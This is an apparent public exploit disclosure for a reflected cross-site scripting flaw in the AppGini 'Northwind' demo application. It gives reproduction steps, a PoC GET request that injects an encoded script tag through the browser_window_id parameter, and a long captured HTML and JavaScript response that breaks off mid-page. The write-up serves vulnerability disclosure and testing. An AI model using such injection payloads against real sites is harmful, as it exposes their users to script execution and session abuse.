<pre><code># Exploit Title: Northwind, company operations database - Cross-Site Scripting (Reflected)<br /># Date: 04.06.2024<br /># Exploit Author: Furkan Eren Tetik<br /># Vendor Homepage: https://bigprof.com/appgini/free-open-source-web-applications<br /># Software Link: https://github.com/bigprof-software/northwind-demo<br /># Version: 1.0<br /># Tested on: Windows 11, Kali Linux<br /># Northwind, company operations database page can be attacked with xss with a simple script<br /># https://www.linkedin.com/in/furkanerentetik/<br /><br /><br />Steps To Reproduce:<br />1 - Go to the login page http:///fetuygulama/app/customers_view.php<br />2 - Add new record payload=browser_window_id=.......%22%3e%3cscript%3ealert(1)%3c%2fscript%3e........<br />3 - Enter on url alert warning appears.<br /><br />PoC<br /><br />Request<br /><br />GET /fetuygulama/app/customers_view.php?record-added-ok=76371387&SortField=&SortDirection=&FirstRecord=1&DisplayRecords=all&SearchString=&SelectedID=3&browser_window_id=0d76e64e70f5%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3E0d76e64e70f5 HTTP/1.1<br />Host: localhost<br />sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"<br />sec-ch-ua-mobile: ?0<br />sec-ch-ua-platform: "Windows"<br />Upgrade-Insecure-Requests: 1<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br />Sec-Fetch-Site: none<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Accept-Encoding: gzip, deflate<br />Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7<br />Cookie: Northwind=52149sofrm6k5359nuun3h1514; displayDemoTools=on; demoInfoShownBefore=yes; compactMode=true<br />Connection: close<br /><br />----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br /><br /><br />Response<br /><br />HTTP/1.1 200 OK<br />Date: Tue, 04 Jun 2024 14:34:48 GMT<br />Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12<br />X-Powered-By: PHP/8.2.12<br />Expires: Thu, 19 Nov 1981 08:52:00 GMT<br />Cache-Control: no-store, no-cache, must-revalidate<br />Pragma: no-cache<br />X-Frame-Options: SAMEORIGIN<br />Connection: close<br />Content-Type: text/html; charset=UTF-8<br />Content-Length: 112205<br /><br /><!DOCTYPE html><br /><html class="no-js"><br /> <head><br /> <meta charset="UTF-8"><br /> <meta name="description" content=""><br /> <meta name="viewport" content="width=device-width, initial-scale=1.0"><br /><br /> <title>Northwind | Customers</title><br /> <link id="browser_favicon" rel="shortcut icon" href="resources/images/appgini-icon.png"><br /><br /> <link rel="stylesheet" href="resources/initializr/css/bootstrap.css"><br /> <link rel="stylesheet" href="resources/lightbox/css/lightbox.css" media="screen"><br /> <link rel="stylesheet" href="resources/select2/select2.css" media="screen"><br /> <link rel="stylesheet" href="resources/timepicker/bootstrap-timepicker.min.css" media="screen"><br /> <link rel="stylesheet" href="resources/datepicker/css/datepicker.css" media="screen"><br /> <link rel="stylesheet" href="resources/bootstrap-datetimepicker/bootstrap-datetimepicker.css" media="screen"><br /> <link rel="stylesheet" href="dynamic.css?1716373920"><br /><br /> <script src="resources/jquery/js/jquery-3.5.1.min.js"></script><br /> <script>var $j = jQuery.noConflict();</script><br /> <script src="resources/moment/moment-with-locales.min.js"></script><br /> <script src="resources/jquery/js/jquery.mark.min.js"></script><br /> <script src="resources/initializr/js/vendor/bootstrap.min.js"></script><br /> <script src="resources/lightbox/js/prototype.js"></script><br /> <script src="resources/lightbox/js/scriptaculous.js?load=effects"></script><br /> <script src="resources/select2/select2.min.js"></script><br /> <script src="resources/timepicker/bootstrap-timepicker.min.js"></script><br /> <script src="resources/datepicker/js/datepicker.packed.js"></script><br /> <script src="resources/bootstrap-datetimepicker/bootstrap-datetimepicker.min.js"></script><br /> <script src="resources/hotkeys/jquery.hotkeys.min.js"></script><br /> <script src="nicEdit.js"></script><br /><br /> <script><br /> var AppGini = AppGini || {};<br /><br /> /* translation strings */<br /> AppGini.Translate = {<br /> _map: {<br /> "ImageFolder": ".\/images\/",<br /> "membership management": "Membership Management",<br /> "password mismatch": "Password doesn't match.",<br /> "error": "Error",<br /> "invalid email": "Invalid Email Address",<br /> "sending mails": "Sending mails might take some time. Please don't close this page until you see the 'Done' message.",<br /> "complete step 4": "Please complete step 4 by selecting the member you want to transfer records to.",<br /> "info": "Info",<br /> "sure move member": "Are you sure you want to move member '<MEMBER>' and his data from group '<OLDGROUP>' to group '<NEWGROUP>'?",<br /> "sure move data of member": "Are you sure you want to move data of member '<OLDMEMBER>' from group '<OLDGROUP>' to member '<NEWMEMBER>' from group '<NEWGROUP>'?",<br /> "sure move all members": "Are you sure you want to move all members and data from group '<OLDGROUP>' to group '<NEWGROUP>'?",<br /> "sure move data of all members": "Are you sure you want to move data of all members of group '<OLDGROUP>' to member '<MEMBER>' from group '<NEWGROUP>'?",<br /> "toggle navigation": "Toggle navigation",<br /> "admin area": "Admin Area",<br /> "groups": "Groups",<br /> "view groups": "View Groups",<br /> "add group": "Add Group",<br /> "edit anonymous permissions": "Edit Anonymous Permissions",<br /> "members": "Members",<br /> "view members": "View Members",<br /> "add member": "Add Member",<br /> "view members' records": "View Members' Records",<br /> "utilities": "Utilities",<br /> "admin settings": "Admin Settings",<br /> "rebuild thumbnails": "Rebuild thumbnails",<br /> "rebuild fields": "You could try fixing this issue from the Admin Area : Utilities menu : View\/Rebuild Fields.",<br /> "import CSV": "Import CSV data",<br /> "batch transfer": "Batch Transfer Wizard",<br /> "mail all users": "Mail All Users",<br /> "AppGini forum": "AppGini Community Forum",<br /> "user's area": "User's area",<br /> "sign out": "Sign Out",<br /> "attention": "Attention!",<br /> "security risk admin": "You are using the default admin username and password. This is a huge security risk. Please change at least the admin password from the <a href=\"pageSettings.php\">Admin Settings<\/a> page <em>immediately<\/em>.",<br /> "security risk": "You are using the default admin password. This is a huge security risk. Please change the admin password from the <a href=\"pageSettings.php\">Admin Settings<\/a> page <em>immediately<\/em>.",<br /> "plugins": "Plugins",<br /> "assigned table records to group": "Assigned <NUMBER> records of table '<TABLE>' to group '<GROUP>'",<br /> "assigned table records to group and member": "Assigned <NUMBER> records of table '<TABLE>' to group '<GROUP>' , member '<MEMBERID>'",<br /> "data ownership assign": "Assign ownership to data that has no owners",<br /> "records ownership done": "All records in all tables have owners now.<br>Back to <a href='pageHome.php'>Admin homepage<\/a>.",<br /> "select group": "Select group",<br /> "data ownership": "Sometimes, you might have tables with data that were entered before implementing this AppGini membership management system, or entered using other applications unaware of AppGini ownership system. This data currently has no owners. This page allows you to assign owner groups and owner members to this data.",<br /> "table": "Table",<br /> "records with no owners": "Records with no owners",<br /> "new owner group": "New owner group",<br /> "new owner member": "New owner member*",<br /> "cancel": "Cancel",<br /> "assign new owners": "Assign new owners",<br /> "please wait": "Please wait",<br /> "if no owner member assigned": "* If you assign no owner member here, you can still use the <a href=\"pageTransferOwnership.php\">Batch Transfer Wizard<\/a> later to do so.",<br /> "can not delete group remove members": "Can't delete this group. Please remove members first.",<br /> "can not delete group transfer records": "Can't delete this group. Please transfer its data records to another group first..",<br /> "group exists error": "Error: Group name already exists. You must choose a unique group name.",<br /> "group not found error": "Error: Group not found!",<br /> "edit group": "Edit Group '<GROUPNAME>'",<br /> "add new group": "Add New Group",<br /> "anonymous group attention": "Attention! This is the anonymous group.",<br /> "show tool tips": "Show tool tips as mouse moves over options",<br /> "group name": "Group name",<br /> "readonly group name": "The name of the anonymous group is read-only here.",<br /> "anonymous group name": "If you name the group '<ANONYMOUSGROUP>', it will be considered the anonymous group<br>that defines the permissions of guest visitors that do not log into the system.",<br /> "description": "Description",<br /> "allow visitors sign up": "Allow visitors to sign up?",<br /> "admin add users": "No. Only the admin can add users.",<br /> "admin approve users": "Yes, and the admin must approve them.",<br /> "automatically approve users": "Yes, and automatically approve them.",<br /> "group table permissions": "Table permissions for this group",<br /> "no": "No",<br /> "owner": "Owner",<br /> "group": "Group",<br /> "all": "All",<br /> "insert": "Insert",<br /> "view": "View",<br /> "edit": "Edit",<br /> "delete": "Delete",<br /> "save changes": "Save changes",<br /> "username error": "Error: Username already exists or is invalid. Make sure you provide a username containing 4 to 20 valid characters.",<br /> "member not found": "Error: Member not found!",<br /> "user has special permissions": "This user has special permissions that override his group permissions.",<br /> "user has group permissions": "This user inherits the <a href=\"pageEditGroup.php?groupID=<GROUPID>\">permissions of his group<\/a>.",<br /> "set user special permissions": "Set special permissions for this user",<br /> "sure continue": "If you made any changes to this member and did not save them yet, they will be lost if you continue. Are you sure you want to continue?",<br /> "edit member": "Edit Member <MEMBERID>",<br /> "add new member": "Add New Member",<br /> "anonymous guest member": "Attention! This is the anonymous (guest) member.",<br /> "admin member": "Attention! This is the admin member. You can't change the username, password or email of this member here, but you can do so in the <a href=\"pageSettings.php\">admin settings<\/a> page.",<br /> "member username": "Member username",<br /> "check availability": "Check if this username is available",<br /> "read only username": "The username of the guest member is read-only.",<br /> "password": "Password",<br /> "change password": "Type a password only if you want to change this member's<br>password. Otherwise, leave this field empty.",<br /> "confirm password": "Confirm Password",<br /> "email": "Email Address",<br /> "approved": "Approved?",<br /> "banned": "Banned?",<br /> "comments": "Comments",<br /> "back to members": "Back to members",<br /> "member added": "Member <USERNAME> added successfully",<br /> "member permissions saved": "Member permissions have been saved successfully.",<br /> "member permissions reset": "Member permissions have been reset to the same as his group.",<br /> "user table permissions": "Table permissions for user <a href='pageEditMember.php?memberID=<MEMBER>' title='View member details'><MEMBERID><\/a> of group <a href='pageEditGroup.php?groupID=<GROUPID>' title='View group details and permissions'><GROUP><\/a>",<br /> "no member permissions": "This member doesn't currently have any special permissions. This list shows the permissions of his group.",<br /> "reset member permissions": "Reset member permissions",<br /> "remove special permissions": "This would remove all special permissions of this user and he will have the same permissions as his group. Are you sure you want to do that?",<br /> "invalid table": "Invalid table.",<br /> "invalid primary key": "Invalid primary key value",<br /> "record not found": "Record not found ... if it was imported externally, try assigning an owner from the admin area.",<br /> "invalid username": "Invalid username",<br /> "record not found error": "Error: Record not found!",<br /> "edit Record Ownership": "Edit Record Ownership",<br /> "owner group": "Owner group",<br /> "view all records by group": "View all records by this group",<br /> "owner member": "Owner member",<br /> "view all records by member": "View all records by this member",<br /> "switch record ownership": "If you want to switch ownership of this record to a member of another group, you must change the owner group and save changes first.",<br /> "record created on": "Record created on",<br /> "record modified on": "Record modified on",<br /> "view all records of table": "View all records of this table",<br /> "record data": "Record data",<br /> "print": "Print",<br /> "could not retrieve field list": "Couldn't retrieve field list from '<TABLENAME>'",<br /> "field name": "Field name",<br /> "value": "Value",<br /> "visitor sign up": "<a href=\"..\/membership_signup.php\" target=\"_blank\">Visitor sign up<\/a> is disabled because there are no groups where visitors can sign up currently. To enable visitor sign-up, set at least one group to allow visitor sign-up.",<br /> "table data without owner": "You have data in one or more tables that doesn't have an owner. To assign an owner group for this data, <a href=\"pageAssignOwners.php\">click here<\/a>.",<br /> "membership management homepage": "Membership Management Homepage",<br /> "newest updates": "Newest Updates",<br /> "view record details": "View record details",<br /> "newest entries": "Newest Entries",<br /> "available add-ons": "Available add-ons",<br /> "more info": "More info",<br /> "close": "Close",<br /> "view add-ons": "View all add-ons",<br /> "top members": "Top Members",<br /> "edit member details": "Edit member details",<br /> "view member records": "View member's data records",<br /> "records": "records",<br /> "members stats": "Members Stats",<br /> "total groups": "Total groups",<br /> "active members": "Active members",<br /> "view active members": "View active members",<br /> "members awaiting approval": "Members awaiting approval",<br /> "view members awaiting approval": "View members awaiting approval",<br /> "banned members": "Banned members",<br /> "view banned members": "View banned members",<br /> "total members": "Total members",<br /> "view all members": "View all members",<br /> "BigProf tweets": "Tweets By BigProf Software",<br /> "follow BigProf": "Follow @bigprof",<br /> "loading bigprof feed": "Loading @bigprof feed ...",<br /> "remove feed": "Remove this feed",<br /> "can not send mail": "You can not send emails currently. The configured sender email address is not valid. Please <a href='pageSettings.php'>correct it first<\/a> then try again.",<br /> "all groups": "All groups",<br /> "no recipient": "Couldn't find recipient. Please make sure you provide a valid recipient.",<br /> "invalid subject line": "Invalid subject line.",<br /> "no recipient found": "Couldn't find any recipients. Please make sure you provide a valid recipient.",<br /> "mail queue not saved": "Couldn't save mail queue. Please make sure the directory '<CURRDIR>' is writeable (chmod 755 or chmod 777).",<br /> "send mail": "Send mail message to a member\/group",<br /> "send mail to all members": "You are sending an email to all members. This could take a lot of time and affect your server performance. If you have a huge number of members, we don't recommend sending an email to all of them at once.",<br /> "from": "From",<br /> "change setting": "Change this setting",<br /> "to": "To",<br /> "subject": "Subject",<br /> "message": "Message",<br /> "send message": "Send Message",<br /> "record details": "Membership Management -- Record details",<br /> "table name": "Table: <TABLENAME>",<br /> "create or update table": "An attempt to <ACTION> the field <i><FIELD><\/i> in <i><TABLE><\/i> table was made by executing this query: <pre><QUERY><\/pre> Results are shown below.",<br /> "view or rebuild fields": "View\/Rebuild fields",<br /> "show deviations only": "Show deviations only",<br /> "show all fields": "Show all fields",<br /> "compare tables page": "This page compares the tables and fields structure\/schema as designed in AppGini to the actual database structure and allows you to fix any deviations.",<br /> "field": "Field",<br /> "AppGini definition": "AppGini definition",<br /> "database definition": "Current definition in the database",<br /> "table name title": "<TABLENAME> table",<br /> "does not exist": "Doesn't exist!",<br /> "create field": "Create the field by running an ADD COLUMN query.",<br /> "create it": "Create it",<br /> "fix field": "Fix the field by running an ALTER COLUMN query so that its definition becomes the same as that in AppGini.",<br /> "fix it": "Fix it",<br /> "field update warning": "DANGER!! In some cases, this might lead to data loss, truncation, or corruption. It might be a better idea sometimes to update the field in AppGini to match that in the database. Would you still like to continue?",<br /> "no deviations found": "No deviations found. All fields OK!",<br /> "error fields": "Found <CREATENUM> non-existing fields that need to be created.<br>Found <UPDATENUM> deviating fields that might need to be updated.",<br /> "thumbnails utility": "Use this utility if you have one or more image fields in a table that don't have thumbnails or have thumbnails with incorrect dimensions.",<br /> "rebuild thumbnails of table": "Rebuild thumbnails of table",<br /> "rebuild": "Rebuild",<br /> "rebuild thumbnails of table_name": "Rebuilding thumbnails of '<i><TABLENAME><\/i>' table ...",<br /> "do not close page message": "Don't close this page until you see a confirmation message that all thumbnails have been built.",<br /> "rebuild thumbnails status": "Status: still rebuilding thumbnails, please wait ...",<br /> "building field thumbnails": "Building thumbnails for '<i><FIELD><\/i>' field...",<br /> "done": "Done.",<br /> "finished status": "Status: finished. You can close this page now.",<br /> "invalid mail queue": "Invalid mail queue.",<br /> "sending message failed": " -- Sending message to '<EMAIL>': Failed.",<br /> "sending message ok": " -- Sending message to '<EMAIL>': Ok.",<br /> "done!": "Done!",<br /> "close page": "You may close this page now or browse to some other page.",<br /> "mail log": "Mail log:",<br /> "invalid security token": "Invalid security token! Please <a href=\"pageSettings.php\">reload the page<\/a> and try again.",<br /> "unique admin username error": "The new admin username is already taken by another member. Please make sure the new admin username is unique.",<br /> "unique anonymous username error": "The new anonymous username is already taken by another member. Please make sure the username provided is unique.",<br /> "unique anonymous group name error": "The new anonymous group name is already in use by another group. Please make sure the group name provided is unique.",<br /> "admin password mismatch": "\"Admin password\" and \"Confirm password\" don't match.",<br /> "invalid sender email": "Invalid \"Sender email\".",<br /> "errors occurred": "The following errors occurred:",<br /> "go back": "Please <a href=\"pageSettings.php\" onclick=\"history.go(-1); return false;\">go back<\/a> to correct the above error(s) and try again.",<br /> "record updated automatically": "Record updated automatically on <DATE>",<br /> "admin settings saved": "Admin settings saved successfully.<br>Back to <a href=\"pageSettings.php\">Admin settings<\/a>.",<br /> "admin settings not saved": "Admin settings were NOT saved successfully. Failure reason: <ERROR><br>Back to <a href=\"pageSettings.php\" onclick=\"history.go(-1); return false;\">Admin settings<\/a>.",<br /> "admin username": "Admin username",<br /> "admin password": "Admin password",<br /> "change admin password": "Type a password only if you want to change the admin password.",<br /> "sender email": "Sender email",<br /> "sender name and email": "Sender name and email are used in the 'To' field when sending",<br /> "email messages": "email messages to groups or members.",<br /> "admin notifications": "Admin notifications",<br /> "no email notifications": "No email notifications to admin.",<br /> "member waiting approval": "Notify admin only when a new member is waiting for approval.",<br /> "new sign-ups": "Notify admin for all new sign-ups.",<br /> "sender name": "Sender name",<br /> "members custom field 1": "Members custom field 1",<br /> "members custom field 2": "Members custom field 2",<br /> "members custom field 3": "Members custom field 3",<br /> "members custom field 4": "Members custom field 4",<br /> "member approval email subject": "Member approval<br>email subject",<br /> "member approval email subject control": "When the admin approves a member, the member is notified by<br>email that he is approved. You can control the subject of the<br>approval email in this box, and the content in the box below.",<br /> "member approval email message": "Member approval<br>email message",<br /> "MySQL date": "MySQL date<br>formatting string",<br /> "MySQL reference": "Please refer to <a href=\"https:\/\/dev.mysql.com\/doc\/refman\/5.0\/en\/date-and-time-functions.html#function_date-format\" target=\"_blank\">the MySQL reference<\/a> for possible formats.",<br /> "PHP short date": "PHP short date<br>formatting string",<br /> "PHP manual": "Please refer to <a href=\"https:\/\/www.php.net\/manual\/en\/function.date.php\" target=\"_blank\">the PHP manual<\/a> for possible formats.",<br /> "PHP long date": "PHP long date<br>formatting string",<br /> "groups per page": "Groups per page",<br /> "members per page": "Members per page",<br /> "records per page": "Records per page",<br /> "default sign-up mode": "Default sign-up mode<br>for new groups",<br /> "no sign-up allowed": "No sign-up allowed. Only the admin can add members.",<br /> "admin approve members": "Sign-up allowed, but the admin must approve members.",<br /> "automatically approve members": "Sign-up allowed, and automatically approve members.",<br /> "anonymous group": "Name of the anonymous<br>group",<br /> "anonymous user name": "Name of the anonymous<br>user",<br /> "hide twitter feed": "Hide Twitter feed in admin homepage?",<br /> "twitter feed": "Our Twitter feed helps keep you informed of our latest news, useful resources, new releases, and many other helpful tips.",<br /> "invalid source member": "Invalid source member selected.",<br /> "invalid destination member": "Invalid destination member selected.",<br /> "moving member": "Moving member '<MEMBERID>' and his data from group '<SOURCEGROUP>' to group '<DESTINATIONGROUP>' ...",<br /> "data records transferred": "Member '<MEMBERID>' now belongs to group '<NEWGROUP>'. Data records transferred: <DATARECORDS>.",<br /> "moving data": "Moving data of member '<SOURCEMEMBER>' from group '<SOURCEGROUP>' to member '<DESTINATIONMEMBER>' from group '<DESTINATIONGROUP>' ...",<br /> "member records status": "Member '<SOURCEMEMBER>' of group '<SOURCEGROUP>' had <DATABEFORE> data records. <TRANSFERSTATUS> to member '<DESTINATIONMEMBER>' of group '<DESTINATIONGROUP>'.",<br /> "moving all group members": "Moving all members and data of group '<SOURCEGROUP>' to group '<DESTINATIONGROUP>' ...",<br /> "failed transferring group members": "Operation failed. No members were transferred from group '<SOURCEGROUP>' to '<DESTINATIONGROUP>'.",<br /> "group members transferred": "All members of group '<SOURCEGROUP>' now belong to '<DESTINATIONGROUP>'. ",<br /> "failed transfer data records": "However, data records failed to transfer.",<br /> "data records were transferred": "<DATABEFORE> data records were transferred.",<br /> "moving group data to member": "Moving data of all members of group '<SOURCEGROUP>' to member '<DESTINATIONMEMBER>' from group '<DESTINATIONGROUP>' ...",<br /> "moving group data to member status": "<NUMBER> record(s) were transferred from group '<SOURCEGROUP>' to member '<DESTINATIONMEMBER>' of group '<DESTINATIONGROUP>'",<br /> "status": "STATUS:",<br /> "batch transfer link": "To repeat the same batch transfer again later you can <a href= \"pageTransferOwnership.php?sourceGroupID=<SOURCEGROUP>&sourceMemberID=<SOURCEMEMBER>&destinationGroupID=<DESTINATIONGROUP>&destinationMemberID=<DESTINATIONMEMBER>&moveMembers=<MOVEMEMBERS>\">bookmark or copy this link<\/a>.",<br /> "ownership batch transfer": "Batch Transfer Of Ownership",<br /> "step 1": "STEP 1:",<br /> "batch transfer wizard": "The batch transfer wizard allows you to transfer data records of one or all members of a group (the <i>source group<\/i>) to a member of another group (the <i>destination member<\/i> of the <i>destination group<\/i>)",<br /> "source group": "Source group",<br /> "update": "Update",<br /> "next step": "Next Step",<br /> "group statistics": "This group has <MEMBERS> members, and <RECORDS> data records.",<br /> "step 2": "STEP 2:",<br /> "source member message": "The source member could be one member or all members of the source group.",<br /> "source member": "Source member",<br /> "all group members": "All members of '<GROUPNAME>'",<br /> "member statistics": "This member has <RECORDS> data records.",<br /> "step 3": "STEP 3:",<br /> "destination group message": "The destination group could be the same or different from the source group. Only groups that have members are listed below.",<br /> "destination group": "Destination group",<br /> "step 4": "STEP 4:",<br /> "destination member message": "The destination member will be the new owner of the data records of the source member.",<br /> "destination member": "Destination member",<br /> "begin transfer": "Begin Transfer",<br /> "move records": "You could either move records from the source member(s) to a member in the destination group, or move the source member(s), together with their data records to the destination group.",<br /> "move data records to member": "Move data records to this member:",<br /> "move source member to group": "Move source member(s) and all his\/their data records to the '<GROUPNAME>' group.",<br /> "file not found error": "Error: File '<FILENAME>' not found.",<br /> "preview and confirm CSV data": "Preview and confirm CSV data",<br /> "display csv file rows": "Displaying the first 10 rows of the CSV file ...",<br /> "change CSV settings": "Change CSV settings",<br /> "import CSV data": "Confirm and import CSV data >",<br /> "apply CSV settings": "Apply CSV Settings",<br /> "importing CSV data": "Importing CSV data ...",<br /> "start at estimated record": "Starting at record <RECORDNUMBER> of <RECORDS> total estimated records ...",<br /> "table backed up": "Table '<TABLE>' backed up as '<TABLENAME>'.",<br /> "table backup not done": "Table '<TABLE>' is empty, so no backup was done.",<br /> "importing batch": "Importing batch <BATCH> of <BATCHNUM>: ",<br /> "ok": "Ok",<br /> "records inserted or updated successfully": "<RECORDS> records inserted\/updated in <SECONDS> seconds.",<br /> "mission accomplished": "Mission accomplished!",<br /> "assign a records owner": "Assign an owner to the imported records >",<br /> "please wait and do not close": "Please wait and don't close this page ...",<br /> "hide advanced options": "Hide advanced options",<br /> "show advanced options": "Show advanced options",<br /> "import CSV to database": "Import a CSV file to the database",<br /> "import CSV to database page": "This page allows you to upload a CSV file (for example, one generated from MS Excel) and import it to one of the tables of the database. This makes it so easy to bulk-populate the database with data from other sources rather than manually entering every single record.",<br /> "populate table from CSV": "This is the table that you want to populate with data from the CSV file.",<br /> "CSV file": "CSV file",<br /> "preview CSV data": "Preview CSV data >",<br /> "no table name provided": "No table name provided.",<br /> "can not open CSV": "Can't open csv file '<FILENAME>'.",<br /> "empty CSV file": "The csv file '<FILENAME>' is empty.",<br /> "no CSV file data": "The csv file '<FILENAME>' has no data to read.",<br /> "field separator": "Field separator",<br /> "default comma": "The default is comma (,)",<br /> "field delimiter": "Field delimiter",<br /> "default double-quote": "The default is double-quote (\")",<br /> "maximum characters per line": "Maximum characters per line",<br /> "trouble importing CSV": "If you have trouble importing the CSV file, try increasing this value.",<br /> "ignore lines number": "Number of lines to ignore",<br /> "skip lines number": "Change this value if you want to skip a specific number of lines in the CSV file.",<br /> "first line field names": "The first line of the file contains field names",<br /> "field names must match": "Field names must <b>exactly<\/b> match those in the database.",<br /> "update table records": "Update matching table records (using primary key).",<br /> "ignore CSV table records": "If not checked, records in the CSV file having the same primary key values as those in the table <b>will be ignored<\/b>",<br /> "back up the table": "Back up the table before importing CSV data into it.",<br /> "no matching results found": "No matching results found.",<br /> "search groups": "Search groups",<br /> "find": "Find",<br /> "reset": "Reset",<br /> "members count": "Members count",<br /> "Edit group": "Edit group",<br /> "confirm delete group": "Are you sure you want to completely delete this group?",<br /> "delete group": "Delete group",<br /> "view group records": "View group records",<br /> "view group members": "View group members",<br /> "send message to group": "Send message to group",<br /> "previous": "Previous",<br /> "displaying groups": "Displaying groups <GROUPNUM1> to <GROUPNUM2> of <GROUPS>",<br /> "next": "Next",<br /> "key": "Key:",<br /> "edit group details": "Edit group details and permissions.",<br /> "add member to group": "Add a new member to group.",<br /> "view data records": "View all data records entered by the group's members.",<br /> "list group members": "List all members of a group.",<br /> "send email to all members": "Send an email message to all members of a group.",<br /> "search members": "Search members <SEARCH> in <HTMLSELECT>",<br /> "all fields": "All fields",<br /> "any": "Any",<br /> "waiting approval": "Waiting approval",<br /> "active": "Active",<br /> "Banned": "Banned",<br /> "username": "Username",<br /> "sign up date": "Sign up date",<br /> "Status": "Status",<br /> "Edit member": "Edit member",<br /> "sure delete user": "Are you sure you want to delete user '<USERNAME>'?",<br /> "delete member": "Delete member",<br /> "approve this member": "Approve this member",<br /> "unban this member": "Unban this member",<br /> "ban this member": "Ban this member",<br /> "View member records": "View member's records",<br /> "send message to member": "Send message to member",<br /> "displaying members": "Displaying members <MEMBERNUM1> to <MEMBERNUM2> of <MEMBERS>",<br /> "activate member": "Activate new\/banned member.",<br /> "ban member": "Ban (suspend) member.",<br /> "view entered member records": "View all data records entered by member.",<br /> "send email to member": "Send an email message to member.",<br /> "data records": "Data Records",<br /> "show records": "Show records from",<br /> "all tables": "All tables",<br /> "sort records": "Sort records by",<br /> "date created": "Date created",<br /> "date modified": "Date modified",<br /> "newer first": "Newer first",<br /> "older first": "Older first",<br /> "created": "Created",<br /> "modified": "Modified",<br /> "data": "Data",<br /> "change record ownership": "Change ownership of this record",<br /> "sure delete record": "Are you sure you want to delete this record?",<br /> "delete record": "Delete record",<br /> "displaying records": "Displaying records <RECORDNUM1> to <RECORDNUM2> of <RECORDS>",<br /> "maintenance mode admin notification": "Maintenance mode is enabled! You can disable it from the admin home page.",<br /> "maintenance mode message": "Maintenance mode message",<br /> "maintenance mode": "Maintenance mode",<br /> "OFF": "OFF",<br /> "ON": "ON",<br /> "enable maintenance mode?": "Are you sure you want to enable maintenance mode? Only admin users can access the site in this mode!",<br /> "disable maintenance mode?": "Are you sure you want to disable maintenance mode? All users will be able to access the site!",<br /> "csv file upload error": "An error occurred while processing the requested CSV file.",<br /> "back and retry": "Go back and retry",<br /> "upload or choose csv file": "Upload a CSV file or open an existing one",<br /> "choose csv upload": "Choose a CSV file to upload",<br /> "no file chosen yet": "No file chosen yet",<br /> "start upload": "Start upload",<br /> "select a table": "Select a table",<br /> "error reading csv data": "An error occurred while reading CSV data. Try resetting\/adjusting the CSV settings.",<br /> "belongs to": "Belongs to",<br /> "skip column": "Skip this column",<br /> "connection failed retrying": "Connection failed. Retrying in <SECONDS> seconds ...",<br /> "connection failed timeout": "Connection timed out. Retry later.",<br /> "sure delete csv": "Are you sure you want to delete the CSV file [CSVFILE] from the server?",<br /> "invalid csv file selected": "Invalid file chosen. Must be a CSV file.",<br /> "couldnt delete csv file": "Couldn't delete this CSV file.",<br /> "error backing up table": "Error: Couldn't back up table <TABLE>.",<br /> "no columns selected": "Please select at least one column to import and make sure each selected column belongs to a UNIQUE field.",<br /> "csrf token expired or invalid": "Oops! Something went wrong with this page. Please go back and retry.",<br /> "back to groups": "Back to groups",<br /> "member updated": "Member <USERNAME> updated successfully",<br /> "fix errors before submitting": "Please fix the highlighted errors before submitting the page!",<br /> "mail_function": "Method of sending emails",<br /> "smtp_server": "SMTP server",<br /> "smtp_encryption": "SMTP encryption",<br /> "smtp_port": "SMTP port",<br /> "smtp_port_hint": "Typical values are 25 (for non-encrypted SMTP), 465 (used in many cases with SSL encryption) or 587 (typical with TLS encryption)",<br /> "smtp_user": "SMTP username",<br /> "smtp_pass": "SMTP password",<br /> "configure mail settings": "Configure mail settings",<br /> "display debugging info": "Display debugging info",<br /> "debugging info hint": "Debugging info is useful if you are having trouble sending emails through the configured SMTP server",<br /> "create backup file": "Create Backup File",<br /> "database backups": "Database backups",<br /> "no backups found": "No backups found. You can create a new backup by clicking the \"Create Backup File\" button.",<br /> "available backups": "Available backups",<br /> "restore backup": "Restore",<br /> "delete backup": "Delete",<br /> "backup restored": "Backup restored successfully.",<br /> "backup deleted": "Backup deleted successfully.",<br /> "restore error": "An error occurred while restoring backup.",<br /> "backup delete error": "An error occurred while deleting backup.",<br /> "confirm delete backup": "Are you sure you want to delete this backup file?",<br /> "confirm restore": "Restoring your database from a backup file would OVERWRITE all existing data AND users\/passwords, reverting all to the state when the backup was taken.\\n\\nDuring the restore process, maintenance mode will be enabled to prevent users from modifying the database, and will be disabled once the restore is finished.\\n\\nAre you sure you want to continue?",<br /> "confirm backup": "During the backup process, maintenance mode will be enabled to prevent users from modifying the database, and will be disabled once the backup is finished.\\n\\nAre you sure you want to continue?",<br /> "cant create backup folder": "Error: Can't create or write to admin\/backups folder. Please check your folder permissions and ownership or contact your server administrator for help.",<br /> "fix all": "FIX ALL FIELDS",<br /> "backup before fix": "It's highly recommended that you create a database backup first before attempting to make any fixes here.",<br /> "about backups": "Backups are performed using mysqldump commandline tool. If no backups are being created, it could be due to the web server not having permission to run mysqldump.",<br /> "server status disabled": "Server status is disabled on this application. To enable it, regenerate the application with the option \"Allow server status in admin area\" turned on.",<br /> "server status": "Server status",<br /> "db status": "Database status",<br /> "generated by": "This application was generated by AppGini <VERSION> on <DATETIME>.",<br /> "column table name": "Table name",<br /> "db storage": "Database storage",<br /> "column size kb": "Size (KB)",<br /> "total": "Total",<br /> "php info": "PHP info",<br /> "files": "files",<br /> "uploads info": "Uploads info",<br /> "quick search": "Quick Search",<br /> "records x to y of z": "Records <FirstRecord> to <LastRecord> of <RecordCount>",<br /> "filters": "Filters",<br /> "filter": "Filter",<br /> "filtered field": "Filtered field",<br /> "comparison operator": "Comparison Operator",<br /> "comparison value": "Comparison Value",<br /> "and": "And",<br /> "or": "Or",<br /> "equal to": "Equal to",<br /> "not equal to": "Not equal to",<br /> "greater than": "Greater than",<br /> "greater than or equal to": "Greater than or equal to",<br /> "less than": "Less than",<br /> "less than or equal to": "Less than or equal to",<br /> "like": "Like",<br /> "not like": "Not like",<br /> "is empty": "Is empty",<br /> "is not empty": "Is not empty",<br /> "apply filters": "Apply filters",<br /> "save filters": "Save and apply filters",<br /> "saved filters title": "HTML Code For The Applied 